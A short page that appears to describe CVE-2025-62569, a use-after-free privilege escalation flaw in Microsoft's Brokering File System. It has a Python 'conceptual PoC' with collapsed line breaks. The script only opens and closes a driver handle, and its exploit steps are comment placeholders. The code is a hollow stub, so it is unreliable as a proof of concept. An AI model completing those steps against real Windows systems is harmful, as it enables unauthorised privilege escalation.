CVE-2025-62569: Microsoft Brokering File System 释放后重用特权提升漏洞

# CVE-2025-62569 PoC - Use After Free in Microsoft Brokering File System # This is a conceptual PoC for educational purposes only import ctypes import os def trigger_uaf_condition(): """ Trigger Use-After-Free condition in Microsoft Brokering File System Note: Actual exploitation requires specific driver interaction """ print("[*] CVE-2025-62569 - Microsoft Brokering File System UAF PoC") print("[*] Target: Windows with vulnerable Microsoft Brokering File System") # Step 1: Identify vulnerable driver driver_path = r"\\.\BFS" # Brokering File System device try: # Open handle to driver handle = ctypes.windll.kernel32.CreateFileA( driver_path.encode(), 0xC0000000, # GENERIC_READ | GENERIC_WRITE 0, # no sharing None, 3, # OPEN_EXISTING 0, # no attributes None ) if handle == -1: print("[-] Failed to open driver handle") return False print("[+] Driver handle opened successfully") # Step 2: Trigger race condition to free object # Step 3: Reallocate memory with malicious data # Step 4: Trigger use-after-free to execute code # Cleanup ctypes.windll.kernel32.CloseHandle(handle) except Exception as e: print(f"[-] Error: {e}") return False return True if __name__ == "__main__": print("[*] Educational PoC for CVE-2025-62569") print("[*] Requires: Local access, low privilege account") trigger_uaf_condition()